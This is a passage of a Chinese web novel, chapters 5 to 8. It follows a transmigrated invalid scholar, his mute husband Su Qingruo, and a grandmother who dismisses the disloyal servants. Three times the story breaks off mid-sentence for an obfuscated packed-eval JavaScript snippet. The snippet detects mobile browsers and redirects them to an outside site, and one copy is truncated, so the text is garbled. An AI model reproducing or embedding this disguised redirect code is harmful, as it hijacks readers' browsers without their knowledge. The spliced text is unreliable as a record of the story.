之后苏青箬把云长歇扶了进去,云长歇这一躺下就连续睡了一天一夜。要不是苏青箬担心他这样睡下去会把自己饿死,估计以云长歇的样子他还能继续睡下去。 苏青箬把他唤醒的,然后喂他喝了几口软烂的米汤。 米汤不冷不热,喝下去之后,云长歇稍微有了点力气。 他看着苏青箬脸颊上的抓痕,气若游丝的对他说道:“让你受委屈了。” 苏青箬闻言愣了一下,好半天才反应过来,对方说的是他的脸。 他伸手摸了摸脸,不大在意的摇摇头。 他以前经常上山,免不了磕磕碰碰的,这样的小伤没什么,过两天就会好的。 他也没有城里的哥儿娇贵,如果只是让他受这点小伤,就能让他以后每天吃饱饭,他觉得这一点伤挺值得的。 “我之前对你那样,是因为……我觉得你是夫人的人。夫人不喜我,想要我去死,这一点你应该看出来了。” 这一点不仅苏青箬看出来了,就是村里的村民也看出来了。 至于为什么没有人,把这件事情告诉云知县? 咳咳,首先他们就是一些普通农户,一没有权,二没有势,三没有钱。 其次就是,整个云香村的人,都要靠云夫人吃饭。他们租的那些田地,都是云夫人的嫁妆。在这样的情况下,没有什么人敢得罪她。 最后还有一点,那就是这种事情也没有实质性的证据,他们就算说了知县也不一定会相信。 相较于他们这些陌生人的话,知县肯定还是更相信他的夫人。 而三公子又是个庶子,上面还有两个优秀的哥哥,知县对他就不怎么上心了。 “如今我仔细想了想,就觉得你不可能是她的人。因为如果没有你来救我,我本来应该会直接淹死的。我死了,夫人就没有那么多烦心事了,要比现在让人省心很多。再加上我这几天重病,只有你愿意用心照顾我,我就更加坚信了这一点。” 苏青箬闻言,想说泽兰他们也想来照顾他的,只可惜那天他们被他吓破胆了,所以今天过来的人才会是他。 但是这些话太过复杂,苏青箬也没办法比划出来,他就只能在自个心里腹诽。 事实上,泽兰与甘草没有过来,除了被云长歇吓破胆了,还有就是他们在做贼心虚。 云长歇对他们的态度大转变,反而对不喜欢的夫郎好起来,这种情况只有一种原因了。 那就是……公子知道他们有二心,所以不敢继续相信他们了。 他们这个院子里,除了他们这两个下人,就只有苏青箬一个人。 公子的身体不好,没办法找其他下人,就只能选择相信苏青箬。 这就一下子说通了,为什么公子对他们对苏青箬的态度变化这样大了。 5. 第 5 章 泽兰与甘草就是普通人,他们没有那么大的脑洞。他们看到公子性情大变,第一个想到的不是借尸还魂,而是公子发现了他们的秘密。 在苏青箬照顾云长歇的时候,甘草正在与泽兰商量着对策。 甘草:“怎么办,怎么办?泽兰姐姐,公子他肯定是知道什么了,不然也不会这样对待我们。我们要怎么办啊,是赶紧告诉夫人,还是趁机表忠心?” 泽兰闻言斜了他一眼,“看你没出息的模样,你还想对公子表忠心,难不成你觉得公子能斗得过夫人?” 甘草连忙摇了摇头,“我,我没有觉得公子能够斗得过夫人,我是担心这一次老夫人过来,公子会跟老夫人告夫人的状。” “那你觉得,老夫人是会相信夫人,还是会相信公子呢?” 他们三夫人在外名声很好,在内把三房管理的井井有条。 他们老爷只是个知县,每月的月俸就那一点,根本不够三房的开销。三房的日子过得这样好,主要就是靠着夫人会掌家。 再加上夫人膝下两儿一女,知县与夫人的感情一直很好。 如果公子状告夫人要害他,除非他能拿到非常有用的证据,不然老夫人不仅不会信他,还会觉得他这个孩子不孝顺。 夫人不管怎么说,都是三房的当家主母,就是他名义上的母亲。 他身为儿子状告母亲,可不是什么好听的事情。 公子若是还想要读书,他就不敢轻易状告夫人。 “老,老夫人,应该会更相信夫人。” “既然如此,那你还害怕什么?我们是夫人安排的人,他不敢状告夫人要害他,我们顶多是个照顾不周的罪。夫人念在我们辛苦的份上,表面上会责罚我们一顿,背地里好处绝对不会少。你就不要害怕了,我们现在只要保证他能活着就行。” 听完泽兰的话,甘草就不那么害怕了。 之后的两日,依旧是苏青箬任劳任怨照顾云长歇。 这一天晚上苏青箬再次给他送饭的时候,云长歇刚吃了一口就吐出来了一口黑血。 苏青箬被吓得不轻,还以为这饭里被人下了毒,他吓得连忙转身想要去找大夫,就听到云长歇温声安抚他道:“别怕,无妨。” 苏青箬闻言一脸不解的看向他,他都吐黑血了,还无妨呢?这人是真的不在乎自己的死活吗? 看出来了苏青箬的不解,云长歇用帕子擦了擦嘴角的血迹,这才慢悠悠的开口跟他解释起来。 “我这段时间一直郁结于心,这一口黑血是胸腔里的瘀血,如今吐出来也好,才能让我的身体好的快一些。” 上一世,因为云长歇身体不好,师父就经常看一些医书。受到师父的影响,云长歇对于中医也有点了解。 原主喜欢生闷气,是气滞血瘀的体质。 这样的体质,气不通,血不顺,长久下来身体就会出很多毛病。 这两天,云长歇吃了一整颗培元丹,又偷偷服用过两次灵泉水,就把身体内的瘀气逼了出来。 之前他一直觉得,胸口喘不上气,如今吐出一口黑血后,整个人就觉得通畅很多。 他自己的身体,他自己能感觉到,现在应该已经无大碍了。只要他不要大喜大悲,不跟人大动肝火,慢慢养应该很快能好起来。 次日一大早,苏青箬打算去山上看看。他临出门的时候,有点不放心云长歇。 他对云长歇没什么感情,因为云长歇之前对他不好,他心里挺讨厌他这个人的。 如今跟对方短暂接触了一下,才发现云长歇也没有那么讨厌。他也是个可怜人,明明表面上看起来十分风光,实际上身边连个值得信任的人都没有。 苏青箬会这样关心他,一来好歹对方也是一条人命,他总不能看着他就这样死了。二来对方现在是他的夫君,云长歇若是死了,他就成了寡夫了。他宁可以后跟他和离,也不想成为一个寡夫。 他们村子里,以前就有个寡夫。 那寡夫是个可怜的,他嫁的人是个酒鬼。 酒鬼因为喝醉酒,不小心掉进河里淹死了。 他婆家就骂他克夫,把他赶出去之后还打了他一顿。 后面他没有再嫁,本来想要靠着自己勤快活下去。 但是老天不公啊,村里有些人见他是个寡夫,就经常夜里过去骚扰他。 然后这些过去骚扰他的男人的媳妇或者夫郎,不仅不管他们家的男人还觉得是他勾引他们。 于是夜里,他被村里男人骚扰欺负;白天,他被村里媳妇夫郎打骂。 这个寡夫是个脸皮薄,心气高的,后来过不下去就上吊没了。 人死了,有些人依旧不肯放过他,还要说他是因为偷男人,被人发现了心虚上吊的。 有的时候,苏青箬十分不理解。 明明大家都明白,一个哥儿成了寡夫,想要活下去有多难? 明明也知道他是无辜的,罪魁祸首是那些不安分的男人,为什么还要跟风一起欺辱他? 只因为他是哥儿,不如男子尊贵吗? 苏青箬出门之后,云长歇进了一回芥子空间。 如今的他,已经可以自己慢慢走动了。 他走到竹屋外的泉眼旁,看了看里面积攒的灵泉。 灵泉水每天可以产出五滴,这一汪泉眼里有小半盆的灵泉,都是以前师父攒下来,用来给他滋养身体的。 穿越过来之后,他喝了两次灵泉水,每一次都是一小勺。 那小勺子很小,只有普通勺子的一半大,是师父特意准备,用来取灵泉水的。 灵泉,只有玉质的器皿才能装。 师父除了准备了一个小玉勺,还准备了一个小玉瓶,以及一个小玉碗。 灵泉水十分珍贵,不管是给人喝给动物用,还是用来种草药种田地,都是极好极好的。 只有灵泉漫过了泉眼的边沿,以前师父才会舍得匀出来浇灌观里的花草。 因为那些花草被灵泉水浇过,它们明显要比其他地方生长的更加茂盛。 这几天,多亏了苏青箬照顾他,他才能这么快的好起来。 他之前说过要补偿苏青箬,就从泉眼里装了一小瓶灵泉水。 之后他进入竹屋,从一堆丹药瓶子里寻了两颗开智丹,又从一个书架上找了本驭兽术。 开智丹,是专门炼出来给动物服用的。吃了开智丹后,动物就能够听懂人话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350129|167934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配上驭兽宗的驭兽术,他就可以很好的控制这些开了灵智的动物了。 师父考虑过,他穿来的世界有可能是个灵气稀薄的世界。 灵气稀薄的世界,是没有办法修仙的。 为了防止他在古代,被人给欺负了。 师父就在竹屋里,给他放了一些不需要灵气也能修炼的秘术。 其中低阶的驭兽术,就不需要任何灵力。配上开智丹的辅助,很容易就能操控一些普通动物。 这里的普通动物,就是指猫猫狗狗之类的。至于修真世界的灵兽,只有高阶驭兽术才能控制。 而高阶驭兽术需要灵气,需要灵气的云长歇都不能修炼。 拿着想要的东西出来后,云长歇就开始修炼驭兽术。 花了一上午的时间,他只是把驭兽术背了下来,人就觉得有点精力不济了。 他想着他的身体还是太差了,他好像不该这样着急去修炼,下午的时候应该好好休息。 然后就在这个时候,院子外面传来了一阵说话声,一个打扮的十分周正的妇人,正在大门外面与甘草问话。 甘草看到她的时候,心里紧张的不行。 他小心翼翼回答道:“棠姨,公子正在房里休息呢,我这就进去告诉他老夫人来了。” 棠姨,是老夫人年轻时的陪嫁,后来嫁给了云家的老管家,她在云家一直比较有威望。此时见她先过来了,甘草就知道老夫人应该也快到了。 棠姨冲着他笑了笑,眼底却是有点冷的。 三房的三公子病重,这个贴身小侍不贴身照顾,反倒是自个在外面玩耍。 她刚刚远远地就看见,他正在追着一只蝴蝶跑,看起来心情很好的模样。 真是的,也不知道是谁教出来的奴婢? 在甘草进去通报的时候,老夫人的马车缓缓来到了这座小院门前。 老夫人被下人搀扶着下了马车,抬头看着面前破落的小院子,心里就忍不住一阵的心疼。 就算老三家的这个是个庶出,那也是他们云家的骨肉啊,怎么能让他住在这种地方? 还有就是,她都进村子这么久了,也没有看见一个下人出来迎接,看来这边也没有什么伺候的人。 这样想着,不等云长歇拖着病体起身迎她,老夫人就带着人浩浩荡荡进来了。 云长歇住的这个小院很小,统共也就只有五间矮房。 平日里只有云长歇主仆四人,这个小院子都显得窄小。 如今一口气来了这么多人,整个院子就显得更加窄小了。 云长歇出去的时候,老夫人正要往房里走,迎面看到他那张毫无血色的脸,老夫人就被他的模样给吓了一跳。 不等甘草扶着他行礼,老夫人就连忙上前拉住了他的手。 “孙儿见过祖母。” “免了,免了,还是赶紧回屋里躺着吧,你这身子骨可见不得风。” 老夫人这样说着,就示意身边几个奴仆上前扶人。 然后她与云长歇一起进屋,进去的时候瞥了甘草一眼。 这个小侍不大行啊,模样长得倒是漂亮,只可惜瘦瘦弱弱的,扶着孙儿的时候都没办法把人扶稳。 6. 第 6 章 回到屋里,云长歇半躺下来,老夫人心疼的摸了摸他的脸。 “祖母知道你自幼身子骨不好,但是那个时候祖母在秋平县时,你明明看起来气色还不错的啊。没有想到祖母去京城才几年,你的身子骨怎么就这样差了?” 听说孙儿不仅落过水,前几日还差一点没了。 云长歇没有接这话,正如泽兰他们想得那般,他现在没办法状告夫人。 这个朝代孝大于天,儿子状告母亲是要受世人指摘的。 哪怕她不是他生母,没有一击把她扳倒的实力他也不敢告她。 当初原主落水的时候,当时确实有不少人在场。但是那些人不是夫人的人,就是需要靠夫人活的普通农户。 他若是仅凭这一点就告她想要害自己,结果很可能是那些人一起反过来说他诬陷夫人。 他是读书人,读书人的名声很重要。 他想要对付夫人,必须有足够的话语权,必须让云家觉得他重要,不然是很难扳倒夫人的。 “祖母来看望,长歇本该亲自迎接才对。只可惜长歇的身体不好,也不知祖母今日会来,还望祖母不要因此责怪。” “傻孩子,你是祖母的亲孙子,我知道你是个孝顺的,如今你的身体不好,祖母又怎么会怪罪你?” 老夫人这样说着,眼尖的瞥见了云长歇手腕上的手串。 她喜欢礼佛,对于手串有一些研究。 她见云长歇手腕上的手串不算珍贵,但是看起来像是有一些年代了,便有点奇怪他怎么会有这种东西。 后来想到他身体不好,兴许是他那生母为他求来的。 手串一般的寓意,都是强身健体,辟邪消灾的意思。 她想到自己手腕有一串,她也戴了有一段时日了。这种手串沾染了佛气,对久病不愈的人来说,也有祈福保平安的意思。 这样想着,她便把手上的手串取了下来,戴在了云长歇的另一只手上。 “祖母,这是……” “戴上吧,希望佛祖看在祖母这些年潜心礼佛的份上,能够保佑我的孙儿早一点身体康健。” 云长歇闻言心里有点感动,他自幼是跟着师父长大的。 他觉得他不缺父爱,师父对他就像是对待亲子,师父疼他就像父亲一样。 但是他不缺父爱,却很少接受过女性长辈的疼爱。突然有了祖母疼爱,他的心里觉得又感动又新鲜。 “长歇谢过祖母。” 很快,泽兰就知道老夫人过来了,她是从镇子上赶回来的。 她之前接到消息说,老夫人明天才会过来,就想着趁着今天给三夫人递个消息。 结果没有想到,老夫人却提前过来了,把她打了个措手不及。 在泽兰往回赶时,中午饭是老夫人的人张罗的。 棠姨进厨房里看了一圈,就有点气愤的寻到老夫人,把厨房的情况跟她说了。 “这两个下人太过分了,公子人还病着呢,锅里灶上连口热水都没。那橱柜里的粮食啊,也大多数是一些粗粮,这哪里是给病人吃的?公子就算在三房再不受宠,从小到大也没有吃过粗粮。” 老夫人闻言摆了摆手,她是个深宅大院出来的女人,自然知道这深宅大院里的腌臜。 这两个奴婢胆子再大,也不敢这样对待主子的,定是她那好儿媳指使的。 但是这件事情她也不好怪儿媳,老三家的这个媳妇,会对长歇这样狠毒,主要是记恨他那个生母,当年不顾及她爬床的事。 奴婢爬床,打的是她这个主母的脸。 奴婢生下的儿子,还会威胁到她两个儿子的未来,她心里容不得长歇也不奇怪。 加上如今云家三房都已分家,不管是三房还是大房和二房,都是他们各自的夫人掌家。她身为一个早不问事的婆婆,有一些事情是不好过问的。 当然了,她的有一些事情里不包括,把她的孙子给害死这件事。 为了防止儿媳越来越过分,她就只能好好的替她管管她的下人,也省的她以为她真的老糊涂了。 所以当泽兰从外面回来后,泽兰和甘草就被叫到了老夫人跟前。 两个人一看到老夫人的架势,就知道老夫人这是要问责他们。 甘草下意识的喊道:“老夫人,老夫人,真的不是我们照顾不周,而是……而是公子不相信我们,如今照顾公子的都是夫郎,是……是夫郎没有好好照顾公子。” 棠姨见他这个时候了,还想要把责任推给别人,看他的眼神更加不好了。 棠姨看了老夫人一眼,见老夫人没有阻止的意思,便招呼了两个粗使婆子来,让她们给了甘草两大嘴巴子。 被打了两大嘴巴子,甘草终于反应过来了。 老夫人这是在警告三夫人,不管今个的事情跟他们有没有关系,他们今天这一顿罚都是免不了的。 想清楚了,甘草就没有再胡乱攀咬,他一脸凄惨的趴在地上,听着棠姨在那训斥他们。具体的他也没有听清楚都说了什么,只知道是在怪他们没有照顾好公子。 “你们既然没办法照顾好公子,以后就不用跟在公子身边了,公子这边自然有老夫人顾着。” 前面声势那样大,主要就是为了把他们换掉。 泽兰与甘草以为,他们会被遣送回县里云家,之后的处罚交给三夫人。 但是不等他们松一口气,棠姨的声音再一次响起。 “云家容不得,你们这种吃里扒外,还苛待主子的奴婢。为了以儆效尤,省得一些不省心的小蹄子效仿,你们就由老夫人做主发卖了。” 泽兰听到这话,顿时不淡定了。 她一脸惶恐的说道:“老夫人,老夫人,奴婢,奴婢是老爷送给公子的人,这件事情还是要……” 不待她把话说完,一直没有吭声的老夫人突然笑道:“就算老身现在不管事了,在这云家两个奴婢的去留老身还是能做主的。” 泽兰听到这话,突然无力地瘫倒在了地上。 甘草见她这副模样,整个人顿时叫嚷了起来。 “老夫人,老夫人,奴婢冤枉啊,不要卖了奴婢,奴婢什么都知道,奴婢什么都告诉……” 不等他继续胡说八道,两个婆子就上前捂住了他的嘴巴。 云家是书香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350130|167934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门第,家里出了三个进士。 虽然云家算不上名门望族,但是也是十分讲究名声的。 主母害庶子,不是什么好听的事情。 老夫人并不打算,为了一个庶子让其他两个孙子没了母亲。 这件事情老三那边,应该也是站他媳妇那边的,那么她就不能重罚了三儿媳。 但是不能重罚对方,又想要给她一个警告,就只能拿两个奴婢做文章。 老夫人这样一来,不仅责罚了胆大妄为的奴婢,同时也当众打了三儿媳的脸,还能让长歇心里稍微舒坦一点。 等到下人们把甘草两人拖出去,老夫人就从自己带的人里面,选了两个奴仆留给云长歇。 老夫人选的两个人里,一个是上了些年纪的妇人,另一个是个年纪小的哥儿。 既然说是在庄子里养病,这里的人不用太多太杂,安安静静的,没有那么多的纷争,慢慢的人的身体才能养好。 处理好了下人,老夫人这才想起来,云长歇已经娶了夫郎。 想到他娶的是个乡下哥儿,听说那哥儿还是个小哑巴。夫夫两人已经成婚半载,到现在还是分房休息的。 老夫人忍不住叹了一口气,便开口询问一旁的云长歇道:“你那个小夫郎呢?你如今人还病着,他怎么不在身边伺候着?” “他……应该是上山了。” “上山?” “对,因为孙儿之前与他有误会,曾经纵容下人苛待过他,他为了饱腹只能经常上山。” 听到这话,老夫人看了他一眼。 “你……若是实在不喜他,祖母就给你做主与他和离。” 云长歇闻言刚想要点头,若是能够和离对他对苏青箬都不错。 但是他转念一想,就想到了原文里苏青箬那一大家子的极品亲人。 因为苏青箬不会说话,家里又一大堆弟弟妹妹,导致他在婚事上很艰难。 若是他现在与他和离了,苏青箬回到苏家之后,苏家为了不多一张嘴吃饭,肯定还会逼迫他再次嫁人。 他第一次嫁给了云长歇,哪怕很多人都知道他们没有什么,苏青箬到现在还是清白之身。 他想要再嫁,敢娶他的人,只能是一些地痞流氓。 那些人可不是什么好东西,他嫁过去还不知道要遭什么罪。 苏青箬为了帮他被甘草他们打过,最近这几天又任劳任怨的照顾他。他想着不如让苏青箬先跟着他,跟着他至少可以吃饱喝足,他还能偶尔教教对方读书识字。 等到云长歇的身体好起来,等到苏青箬会读书写字了,到时候再放对方走也不迟。 想清楚之后,云长歇微微摇了摇头。 “怎么,你不是不喜他吗?” “不管怎么说,他都救过我一次。和离对于他这样的小哥儿,不见得就是什么好事情。” 若是放在现代,和离就和离了。离开了男人,不管是哥儿还是女人,都能够靠着自己活得很好。 只可惜,这里不是什么现代,而是一个封建时代。 “那行吧,你以后若是想和离了,到时候再跟祖母说。” 7. 第 7 章 之后,一直等到吃午饭,苏青箬还没有回来。 云长歇见状有点担心,便让下人去外面看看情况。 寻人的两个下人,出去没多久就回来了,还把扭伤脚的苏青箬带了回来。 此时的苏青箬十分狼狈,他经常上山,很少出事的。这一次也不知怎么了,他回来的路上恍惚一下,就一不小心摔了一跤。好在伤势不重,只是把脚腕给扭了。 苏青箬被带回来时,才知道云家老夫人来了。 因为对云家三夫人的印象很不好,对于这个老夫人他心里有点害怕。然后等到他见到老夫人,才发现这位老太太人还挺慈爱的。 对方没有因为他是乡下人粗俗,没有因为他不如城里的哥儿小姐温婉贤淑,上来就冷着脸端着架子教训他。 老太太只是关心了一下他的伤势,就拉着他的手给了他一份见面礼。 “来的时候匆忙,就没有带什么贵重物品。这个是老身经常戴的,就当做是送你的见面礼。” 老夫人给的是一枚玉簪,自从她几年前开始礼佛之后,身上就不怎么戴金银首饰了,这枚簪子是她身上为数不多的饰品。 苏青箬不懂玉,没有什么见识,也能看得出来这枚玉簪很贵重。 他不敢要,怕自己不小心弄丢了,所以见状他下意识就用力摆手,完全不敢收下来。 似乎看出了他的顾虑,一旁的云长歇对他说道:“收下来吧,这是祖母的一点心意。” 收了云家长辈的见面礼,也算是给苏青箬抬了抬身份。省得以后云家的其他下人,再不长眼欺负到他这个主子头上。 苏青箬不懂大家族的规矩,见云长歇都开口让他收了,他便小心翼翼的接了过来。 下午老夫人就离开了,走之前除了给云长歇留了两个下人,还给他留了一百两的银子。 老太太的人都是调教过的,老太太与云长歇是祖孙关系,她也不会想要害云长歇,她给的人自然是可以用的。 但是能用是能用,云长歇觉得还是要自己培养几个人才行。 不过这个不着急,等他的身体再好一些,到时候慢慢培养就是。 如今的他,主要的还是韬光养晦,摆出一脸与世无争的模样。 三夫人不想他上进,不想他回到城里的云家,那他就好好的待在这里。摆弄摆弄花草,养养小猫小狗,过一段闲云野鹤的日子。 等到他的身体好起来,才有力气跟那个云夫人斗,才有精力完成原主的夙愿。 老夫人给他的两个人,妇人叫梁婶,小哥儿叫甜桑。 本来换了主子,云长歇应该给他们改名的。 但是云长歇觉得,改个名字还要适应很长一段时间,倒不如继续叫以前的名字更省事。 梁婶与甜桑来的第二天,梁婶一大早带着甜桑去了镇子上,要给云长歇这里添置一些米面粮油。 他们是奴仆,手里没有银钱,钱自然从云长歇这边领。 云长歇给了梁婶二十两银子,二十两银子在古代可不是小钱,足够梁婶拿着花用好长时间了。 梁婶与甜桑出去后,云长歇去了一趟苏青箬房里,询问他村子里有没有人家养狗? 如今他们住在村子里,又是靠近大山的地方,家里不是妇人就是哥儿,他这唯一的男人还是病秧子。为了安全起见,云长歇想要养一只狗看家。 不止养狗,他要“玩物丧志”,他还想要养鸡,养鸭,养鹅…… 他养好身体估计要浪费一段时间,可以趁着这个时间修炼驭兽术。 想要修炼驭兽术,就免不了要养小动物,他第一个想到的就是狗。 狗这种动物,就算没有驭兽术,从小开始慢慢养,也会对主人很忠诚。 就算云长歇的驭兽术不管用,也不担心他们养的狗不听话。 苏青箬的脚昨天回来,就找村里的大夫看过了。 没有伤筋动骨,加上他年轻,身体好,过几天就能好。 如今家里多了两个勤快的下人,不管是洗衣做饭还是其他事情都不需要他。他只要好好躺着休息,就有人把饭送到他嘴边。 这样的日子,苏青箬总觉得有一点不真实,同时还让他觉得心里慌慌的。 云长歇过来问他养狗的事情时,他正趴在床上一脸的无所事事。见云长歇过来找他,他下意识用被子盖住了身体。 之前两人的关系不好,苏青箬看到云长歇就害怕就烦躁,也就没有特意注意过对方的长相。 如今两个人的关系缓和了,苏青箬才意识到云长歇长得挺白净俊俏的。 加上,云长歇是他夫君这层关系,苏青箬面对他的时候就有点局促。 “我想养一只小狗,不知村里可有人养?” 他们村子的人家比较穷,很多人家养人都养不起,就更别提是养一条狗了,所以能养狗的人家不多。 不过不多也不代表没有,住在靠近山脚下的那家是个猎户,对方的家里就养了一只猎犬。云长歇若是想要养狗,可以让人过去问问他。 云长歇一直没有出过家门,本来想要自己出去问问的。但是苏青箬看着他苍白的脸色,十分担心他走在半路上会晕倒。 于是苏青箬比划了一番,意思是让他等过两天再去,到时候他可以跟着一起去。 云长歇会意后点了点头,他们家离山脚下有段距离。 云香村有不少的农户,都是云夫人手底下的人。 他现在病歪歪的,若是一个人出去,容易被人算计了。 上一世他一辈子都在观里,这一世好不容易再来一次,他还是希望能够多活几年的。 中午梁婶与甜桑从外面回来,两个人带回来了不少的东西。 因为他们买的东西多,还特意从镇上雇了一辆牛车把东西拉回来的。 赶牛车的是个年轻汉子,对方的力气大又勤快,他把东西送到他们家小院,就帮忙把东西卸到院里。 云长歇原本想要帮忙,结果他试着拿起了一小包米,还没有把这小包米给搬多远,就被梁婶恭恭敬敬的请到了院子里的树下歇着了。 云长歇见状心里有点尴尬,他们家似乎还缺个小厮。 过些日子,他可以去镇上牙行看看,到时候买个粗使回来。 之后的两天,云长歇继续养病,苏青箬那边养脚。 梁婶的厨艺好,心细且有耐心,配上伶俐活泼的甜桑,在两个人的照顾下,苏青箬很快恢复过来,云长歇的气色也好了不少。 这一日的上午,苏青箬想起云长歇要养狗的事情,便带着云长歇一起出了家门。 甜桑有点担心云长歇的身体,便像个尾巴一样跟了过来。 一行三人慢慢走,说来这还是云长歇穿越这么久第一次出家门。 正如云长歇知道的那样,猎户家距离他们家确实有点远。一路上,云长歇休息了三次,这才来到对方家门口。 看着脸色发白的云长歇,甜桑小心翼翼伸手想要扶住他,却被云长歇摆了摆手拒绝了。 他的身体好了一些,之所以走个路都能累成这样,主要还是因为长时间没有活动。 只要他多忍忍,多锻炼,很快就会慢慢适应的。 苏青箬去院门前拍门,率先从院子里跑出来的不是猎户,而是猎户家的那条黑色的猎犬。 猎犬是细狗,纯黑色,没有一点杂色。 猎犬出来之后,一看见云长歇就开始狂吠,甚至想要扑上去咬他。 苏青箬愣了一下,连忙上前挡在云长歇前面,生怕这只傻狗伤了对方。 大黑认识苏青箬,之前还帮苏青箬抓过兔子,一人一狗的关系还挺不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他要有自己的耳目,在没有办法立刻培养出自己的人的情况,他就只能先培养一些小可爱了。 下午,云长歇修炼了一会儿驭兽术,见自己还有力气就看了会儿书。 在他看书的时候,苏青箬与梁婶甜桑在门口开垦出来了一个小菜园。 人住在乡下,有条件还是种菜吃比较方便。这样不仅能够省下一笔钱,自己种的菜也要比外面干净。 梁婶以前是个乡下人,对于种地还是有点了解的。 主仆三人一通忙碌,开垦出来菜园就回去准备做晚饭。 然后他们一起回去的时候,就看到云长歇的门窗都开着。 此时的云长歇躺在靠窗的一个躺椅上,因为看了太久的书如今已经睡着了。 让三个人觉得惊奇的是,他的窗口聚集了一群山雀,其中有一只山雀胆子贼大,正站在云长歇肩膀上蹦来蹦去。 甜桑见状小声说道:“公子这样睡,会不会着凉?” 他说着想过去给公子披一条毯子,后来想到公子现在有夫郎了,夫郎在场的时候他身为奴婢不好太过逾越了。 于是甜桑看了苏青箬一眼,虽然甜桑没有开口说什么,但是苏青箬也明白他的意思。 苏青箬有点别扭的进了云长歇房间,找了一条薄毯走到了云长歇的身边。 他见那些贪吃的小家伙,看到他来了也不知道跑,就忍不住无奈的挥了挥手。 等到他俯身把毯子给云长歇盖好,他一转身飞走的山雀又飞了回来。 而这个时候云长歇刚好醒了,他整个人看起来有点迷糊,看到有山雀往他的身上落,还下意识伸手接了一下。 8. 第 8 章 今天大家都累了,晚饭就做得比较丰盛。 三个人一起做饭,不仅有四菜一汤,还做了一份甜品。 在他们大周,一般只有中午与晚饭吃饭。只有一些富贵人家,才会早中晚吃三顿。 云长歇的身体不好,大夫嘱咐他少食多餐,他每一次吃的都很少,一天要吃四五回才行。 今天他出去一趟,下午还看了很久的书。到了晚上用饭时,他就比平日里多吃了一点。 梁婶见状心里松了一口气,若是养了这么多天,公子依旧吃得那么少,那可不是什么好兆头。如今看到公子能多吃一点了,梁婶心里的压力终于少了些。 这一餐,对于苏青箬来说,要比以前在苏家过年还要丰盛。 以前苏家过年的时候,好吃的会先紧着弟弟,只有弟弟和父亲他们吃完,他们几个才能捡着吃一点。 如今他在这边是主子,他想要吃什么就吃什么。就算他贪嘴多吃一块肉,在场的三人也不会说什么。 相反梁婶见他生得瘦,还会开口劝他多吃点。一旁的甜桑也是机灵的,他会跟着说什么能吃是福气。 反正就是,两个下人把苏青箬哄得跟个孩子一样,他就真的以为能吃不丢人,还真的就敞开了吃了。 看着苏青箬那么的能吃,吃饭的礼仪还那么粗犷,甜桑在心里有一些惊讶。 他小心翼翼偷瞄公子一眼,见公子完全不觉得有什么,忍不住偷偷松了一口气。 次日早上,苏青箬本来还想要上山的。 最近他跟着云长歇一起吃喝,倒是不担心自己饿肚子了。 但是他不饿肚子,他家里的弟弟妹妹却依旧在饿肚子。 他不好意思拿婆家的东西贴补娘家,就只能勤快一点自己想办法贴补。 不是他吃里扒外,主要是在云长歇对他好之前,只有弟弟妹妹跟他最亲近。 要不是二妹妹为他寻了件破棉衣,如今他说不定早就已经冻死了。 所以相较于云长歇,他的心里还是跟家里的弟弟妹妹更亲近。 结果他才刚要出门,就看到对门的云长歇打开了房门。 云长歇看了他一眼,然后朝着他招了招手。等到他走到云长歇面前,云长歇便开口询问道:“你可想读书识字?” 苏青箬闻言,一双眼睛慢慢瞪大瞪圆了。他指了指自己,似乎有点不确定的模样。 苏青箬这副模样还挺可爱的,他是瓜子脸,大眼睛,小琼鼻。他瞪大眼睛一脸惊讶的时候,看起来像只呆呆的小兔子。 云长歇点了点头,“对,你若是想要读书识字,以后每天早上可以跟着我读一个时辰的书。” 一天之计在于晨,早上是最适合读书识字的时候。 一个时辰就是两小时,云长歇可以一边教导苏青箬一边温书。 他是有原主的记忆的,但是读书这样的事情,还是要自己亲自读一遍,才能记得更加清楚和深刻。 如今他的情况,是没有办法参加科举的。 科举不仅是个脑力活,还是一个体力活。若是没有个好身体,科举的辛苦也是撑不下来的。 苏青箬是想要读书的,但是读书这种浪费钱的事情,是大户人家的哥儿才会做的事。 像是他们这样的农户,一大家子一年都不见得能够赚几两银子。 而读书,不管是纸墨笔砚,还是书本,都是特别贵的东西。 所以像是他们这样的人家,是根本没有那个能力去读书的。 但是如果可以读书,苏青箬还是想要读的。 一来他不会说话,只要他会写字了,就能与大家交流。 二来读书肯定是一件好事,不然也不会有那么多的人家,花大价钱也要家里孩子读书。 如今云长歇要教他读书,苏青箬自然是愿意读的。 只是早上一个时辰,他觉得他就算去读书了,也不会耽搁以后上山。 于是自这一天早上,苏青箬就开始跟着云长歇读书了。 第一天读书识字,云长歇怕读书太过枯燥和乏味,就没有教苏青箬太复杂的字。 他先是教苏青箬写自己的名字,之后又教了苏青箬几个常见字,就让苏青箬在一旁自己练习了。 上一世的云长歇是会写毛笔字的,别看他生活的时代是现代社会。 但是由于他跟着师父住在大山里,年少时师父不让他接触网络,他就只能跟着师父练太极,写毛笔字,画国画。 